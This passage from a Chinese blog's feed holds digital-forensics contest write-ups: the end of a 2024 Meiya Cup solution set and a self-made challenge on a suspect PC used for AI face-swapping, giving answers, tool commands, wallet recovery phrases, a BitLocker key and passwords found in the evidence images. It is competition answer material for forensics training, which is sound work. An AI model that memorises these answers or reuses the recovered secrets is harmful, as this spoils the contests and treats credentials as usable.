src="/blog/img/cnblogs/19382335/image-158-a70c25a70e.png"/></p><h2 id="笔记本取证david89-承上题参考-david_laptop_64gbe01该-wi-fi-网络的名称-ssid-是大小写字母混合">笔记本取证（David）89: 承上题，参考 David_Laptop_64GB.e01，该 Wi-Fi 网络的名称 (SSID) 是？（大小写字母混合）</h2><p>ErrorError5G</p><h2 id="笔记本取证david90-参考-david_laptop_64gbe0该电脑的-windows-操作系统的安装日期是什么a-2024-07-31-095537-utc8b-2024-08-01-131015-utc8c-2024-07-31-101826-utc8d-2024-08-01-144355-utc8">笔记本取证（David）90: 参考 David_Laptop_64GB.e0，该电脑的 Windows 操作系统的安装日期是什么？A. 2024-07-31 09:55:37 UTC+8；B. 2024-08-01 13:10:15 UTC+8；C. 2024-07-31 10:18:26 UTC+8；D. 2024-08-01 14:43:55 UTC+8</h2><p>C</p><pre><code>powershell -command "Get-CimInstance -ClassName Win32_OperatingSystem | Select-Object InstallDate | Format-List"</code></pre><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806155101906.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-159-bd83b10261.png"/><br/>火眼也直接看的出来</p><h2 id="区块链分析-91-下列那个网站能够找到区块链binance-smart-chain-的交易记录abinancecombbscscancomc-etherscaniodblockchaincom">区块链分析 91: 下列那个网站能够找到区块链：Binance Smart Chain 的交易记录？A. binance.com；B. bscscan.com；C. etherscan.io；D. blockchain.com</h2><p>一个一个找下<br/>B<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806160251595.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-160-b61cd7eb85.png"/></p><p>综合分析 92: 参考 Emma_Mobile.zip 中的微信聊天记录分析，Emma 用什么方法盜取 David 的 IDFC？<br/>A. Emma 经 Clara 盗取了 David 虚拟货币钱包的私匙；<br/>B. Emma 经 Clara 盗取了 David 虚拟货币钱包的公匙；<br/>C. Emma 经 Clara 盗取了 David 虚拟货币钱包的回复匙；<br/>D. Emma 盗取了 David 电话<br/>C<br/>参考之前的题</p><p>综合分析 93: 根据 David、Emma 及 Clara 的微信对话，David 在什么日期时间发现 IDFC 被盗？A. 2024-8-22 18:06；B. 2024-8-28 09:14；C. 2024-8-28 09:57；D. 2024-8-29 15:52</p><p>C</p><p>综合分析 94: 参考 Emma_Mobile.zip 中的微信对话分析，Emma 为什么盜取 David 的 IDFC？A. Emma 为了买名贵手表；B. Emma 为了赌钱；C. Emma 为了炒卖虚拟货币；D. Emma 为了还财务公司的欠债<br/>D</p><p>综合分析 95: 参考 David_Laptop_64GB.e01 及微信对话，分析 IDFC 的交易记录，Emma 盜取了 David 虚拟货币钱包内哪个地址的 IDFC？</p><p>A. 0x10a4f01b80203591ccee76081a4489ae1cd1281c；<br/>B. 0x152c90200be61a540875f2a752c328bd19dbfb87；<br/>C. 0x59eb2c55eefdd4d8af2886c9fd8fc6f465c3e220；<br/>D. 0x70544880875fe907cee383873ca58da23378caa5<br/>A<br/>（没有无缘无故的考题）<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806165211883.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-161-bdfc6d56bc.png"/><br/>只有a是在发现被盗之前转出的</p><p>综合分析 96: 根据微信对话及 IDFC 的交易记录，Emma 总共盗取了 David 多少 IDFC？<br/>A. 90,000 IDFC；B. 170,000 IDFC；C. 9,300,000 IDFC；D. 9,390,000 IDFC<br/>A<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806165418064.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-162-eccc4c42ca.png"/><br/>可以看到这里只有一个这个账户<br/>如果emma没有多个账号那就是这条记录里显示的90000</p><p>综合分析 97: 根据 Emma 及 Clara 的微信对话，下列哪些地址是由相同的恢复短语所生成？<br/>A. 0x10a4f01b80203591ccee76081a4489ae1cd1281c；<br/>B. 0x152c90200be61a540875f2a752c328bd19dbfb87；<br/>C. 0x59eb2c55eefdd4d8af2886c9fd8fc6f465c3e220；<br/>D. 0x63a8ba1df0404ee41f7c6af8efd2f54006f32042<br/>ABC<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806170159175.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-163-2e8bca77dd.png"/><br/>那么我们找一下助记词<br/>stock avocado grab clay light sadness segment ancient toe talk elder oil<br/>之前的图片里头有<br/><a href="https://bip39.pro/%EF%BC%88%E5%8A%A9%E8%AE%B0%E8%AF%8D%E8%BD%AC%E6%8D%A2%EF%BC%89" rel="noopener nofollow" target="_blank">https://bip39.pro/（助记词转换）</a><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806172314652.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-164-e54c49ac62.png"/><br/>币种自己就出来了，应嘎斯是根据住几次的长度能够自检测</p><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806172347891.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-165-c4eaec7a4b.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806172356207.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-166-ea7e1c5a29.png"/><br/>发现A、B、C就是前三个</p><p>综合分析 98: 根据 IDFC 的交易记录，总共有多少次 IDFC 交易流入地址0x10a4f01b80203591ccee76081a4489ae1cd1281c？<br/>2<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806165622296.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-167-a77df0f6e6.png"/></p><p>综合分析 99: 参考 David_Laptop_64GB.e01，在 David 计算机的 D 盘内有一张图片，根据图片上的信息，找出 David 另一个虚拟货币钱包的恢复短语 (2)，下列哪一个单词是在此恢复短语内？A. fall；B. bread；C. brain；D. dove<br/>D<br/>还是比较明显的<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806160347816.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-168-9258cfa0e7.png"/><br/>但是发现没有直接给<br/>xwf搜一下计算机镜像发现没有<br/>那只可能在内存里了<br/>内存里一搜<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806162434188.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-169-8bb8709c03.png"/><br/><code>infant fragile garlic bracket stove blade stick dove aerobic spin term educate</code><br/>（raw挂不了就直接当文件上xwf）</p><p>综合分析 100: 承上题，参考 David_Laptop_64GB.e01，在 IDFC 的交易记录中，下列哪些地址由上述恢复短语 (2) 所生成？<br/>A. 0xb2e3dbea311511ec5bda3e85e061f15366f888a6；<br/>B. 0xe90ad3f80e39e83b533eef3ed23c641ec51089c6；<br/>C. 0x90f73497E4446f6Cf9881213C32D6af66d799fE5；<br/>D. 0x63A8BA1dF0404eE41f7c6af8EFd2f54006F32042；<br/>D<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806172508647.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-170-e2d36f1184.png"/></p></div>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2025/12/22/2025-12-22-cnblogs-19382335-2024%E7%BE%8E%E4%BA%9A%E6%9D%AF%E4%B8%AA%E4%BA%BA%E8%B5%9BJoyooo/</id>
    <link href="https://joyooosama.github.io/blog/2025/12/22/2025-12-22-cnblogs-19382335-2024%E7%BE%8E%E4%BA%9A%E6%9D%AF%E4%B8%AA%E4%BA%BA%E8%B5%9BJoyooo/"/>
    <published>2025-12-22T06:42:00.000Z</published>
    <summary>Joyooo复盘 手机取证（Emma）1: 根据 Emma_Mobile.zip，Emma 和 Clara 的微信聊天记录，Emma 最后到警署报案并拍摄写有报案编号的卡片，拍摄时的经纬值是多少？A. 22.451721666667, 114.171853333333；B. 22.451553333</summary>
    <title>2024美亚杯个人赛Joyooo</title>
    <updated>2025-12-22T06:42:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="取证" scheme="https://joyooosama.github.io/blog/categories/%E5%8F%96%E8%AF%81/"/>
    <category term="取证" scheme="https://joyooosama.github.io/blog/tags/%E5%8F%96%E8%AF%81/"/>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/tags/CTF/"/>
    <category term="生活" scheme="https://joyooosama.github.io/blog/tags/%E7%94%9F%E6%B4%BB/"/>
    <content>
      <![CDATA[<div class="blogpost-body cnblogs-markdown" id="cnblogs_post_body"><p>请分析计算机检材，找出嫌疑人计算机主要的登录用户（答案格式：Administrator）<br/>Tomasi<br/><img alt="assets/Tomassi计算机/file-20251021113106075.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-001-808ba0a2fd.png"/></p><p>请分析计算机检材，嫌疑人计算机操作系统的注册所有者是？（答案格式：Administrator）<br/>Windows 用户<br/><img alt="assets/Tomassi计算机/file-20251021113148255.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-002-629cbc9ec2.png"/></p><p>请分析计算机检材，嫌疑人计算机最后一次正常关机时间是？（答案格式：2025-1-20 20:11:30)<br/>2025/10/20  19:19:35<br/><img alt="assets/Tomassi计算机/file-20251021113315519.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-003-419be36f06.png"/></p><p>嫌疑人计算机曾接入过存储设备aigo U268 ，试分析其驱动版本号？（答案格式：2.2.2.2)<br/>10.0.19041.1<br/><img alt="assets/Tomassi计算机/file-20251021113035407.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-004-d87bb0ef47.png"/></p><p>嫌疑人计算机曾接入过存储设备aigo U268 ，试分析其介入计算机次数？（答案格式：666）<br/>18<br/><img alt="assets/Tomassi计算机/file-20251021113436792.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-005-fcc6f7c294.png"/></p><p>请分析计算机检材，其网卡的mac地址是？（答案格式：00-00-00-00-00-00）<br/>00-0C-29-B1-88-AE<br/><img alt="assets/Tomassi计算机/file-20251021114116378.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-006-3ec23394d3.png"/></p><p>请分析计算机检材，嫌疑人的常用浏览器所访问的免税图片网站域名是？（ <a href="https://baidu.com" rel="noopener nofollow" target="_blank">https://baidu.com</a> ）<br/><a href="https://pixabay.com/" rel="noopener nofollow" target="_blank">https://pixabay.com/</a><br/><img alt="assets/Tomassi计算机/file-20251021114804172.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-007-92101d16e6.png"/></p><p>请分析计算机检材，嫌疑人的常用浏览器所访问的免税图片网站密码是？（答案格式：123456）<br/>12345678<br/><img alt="assets/Tomassi计算机/file-20251021114847616.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-008-5df1d85fe3.png"/></p><p>请分析计算机检材，嫌疑人所使用的磁盘分析软件名字？(全部小写）（答案格式：diskgenius）<br/>wiztreeportable<br/><img alt="assets/Tomassi计算机/file-20251021120448997.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-009-10e81c6e10.png"/></p><p>请分析计算机检材，嫌疑人所使用的磁盘分析软件最后一次扫描的盘符（答案格式：C盘）<br/>E盘<br/><img alt="assets/Tomassi计算机/file-20251021120603989.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-010-7360af1918.png"/></p><p>请分析计算机检材，嫌疑人曾下载某开源ai换脸软件，并装配环境，该软件的根目录是？（答案格式：E:\VisualStudioDownload）<br/>E:\roop-main<br/><img alt="assets/Tomassi计算机/file-20251021120900010.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-011-731480bd78.png"/><br/><img alt="assets/Tomassi计算机/file-20251021120922243.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-012-c78c4b3650.png"/><br/><img alt="assets/Tomassi计算机/file-20251021120938861.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-013-2355ecc93e.png"/><br/><img alt="assets/Tomassi计算机/file-20251021120957460.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-014-03da2aa0ba.png"/><br/>综合可看出是roop的环境配置</p><p>请分析计算机检材，嫌疑人所使用过的整合包ai换脸工具启动器的MD5值？(全部大写）（答案格式：C4CA4238A0B923820DCC509A6F75849B）<br/>4591984232E7202297A3D7977EECC4F8</p><p><img alt="assets/Tomassi计算机/file-20251021115154436.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-015-b9803a9424.png"/></p><p>请分析计算检材，计算机中保存的有隐写痕迹的文件名？（有多个则用“/”隔开）（答案格式：mysecret）<br/>Rollo Tomasi/洛城机密<br/><img alt="assets/Tomassi计算机/file-20251021121639363.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-016-4795ae64fb.png"/><br/>可通过浏览器中所浏览的隐写网站解密<br/><img alt="assets/Tomassi计算机/file-20251021121818968.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-017-8bddffaf9c.png"/></p><p>请分析计算检材，计算机bitlocker的恢复密钥是？（答案格式：123456-123456-123456-123456-123456-123456-123456-123456）<br/>279224-135113-417846-126643-092796-210595-049830-299398<br/><img alt="assets/Tomassi计算机/file-20251021122510257.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-018-f4f3bb2703.png"/></p><p>请分析计算检材，计算机bitlocker的密码是？（答案格式：123456）<br/>cppuisa666<br/><img alt="assets/Tomassi计算机/file-20251021122435875.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-019-c31f627eaa.png"/></p><p>请分析计算检材，计算机存在加密容器，其文件名是？（答案格式：mysecret）<br/>encrypt<br/><img alt="assets/Tomassi计算机/file-20251021122805363.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-020-d81048bdfc.png"/></p><p>请分析计算检材，计算机中有多少张ai换脸的图片？（答案格式：8）<br/>21<br/><img alt="assets/Tomassi计算机/file-20251021123052828.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-021-ed005667cb.png"/><br/>7<br/><img alt="assets/Tomassi计算机/file-20251021123140896.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-022-f1ee2d7c03.png"/><br/>13<br/><img alt="assets/Tomassi计算机/file-20251021123158305.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-023-c7d4dc0ba6.png"/><br/>1</p><p>请分析计算检材，嫌疑人通过ai换脸工具接单赚钱，储存订单信息文件中最高规格的套餐多少钱？（答案格式：999）<br/>150<br/><img alt="assets/Tomassi计算机/file-20251021123501951.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-024-fe7973a016.png"/></p><p>请分析计算检材，最早下单的客户的住址是？（答案格式：黑龙江省齐齐哈尔市昂昂溪区水师镇平房村长虹巷28号）<br/>辽宁省朝阳市建平县三家乡红旗路27号<br/>如上题</p><p>请分析计算检材，嫌疑人用工具已完成换脸的客户数量是？（答案格式：1）<br/>3<br/><img alt="assets/Tomassi计算机/file-20251021123937605.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-025-d20812771c.png"/><br/><img alt="assets/Tomassi计算机/file-20251021123946500.png" loading="lazy" src="/blog/img/cnblogs/19197876/image-026-d1143a1706.png"/></p><p>第一次出题，很多点都很粗浅，希望下次能做更好(ง๑ •̀_•́)ง</p></div>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2025/11/06/2025-11-06-cnblogs-19197876-%E6%9F%90%E8%AE%A1%E7%AE%97%E6%9C%BA/</id>
    <link href="https://joyooosama.github.io/blog/2025/11/06/2025-11-06-cnblogs-19197876-%E6%9F%90%E8%AE%A1%E7%AE%97%E6%9C%BA/"/>
    <published>2025-11-06T14:03:00.000Z</published>
    <summary>请分析计算机检材，找出嫌疑人计算机主要的登录用户（答案格式：Administrator） Tomasi 请分析计算机检材，嫌疑人计算机操作系统的注册所有者是？（答案格式：Administrator） Windows 用户 请分析计算机检材，嫌疑人计算机最后一次正常关机时间是？（答案格式：2025-1</summary>
    <title>某计算机</title>
    <updated>2025-12-22T06:55:00.000Z</updated>
  </entry>
</feed>
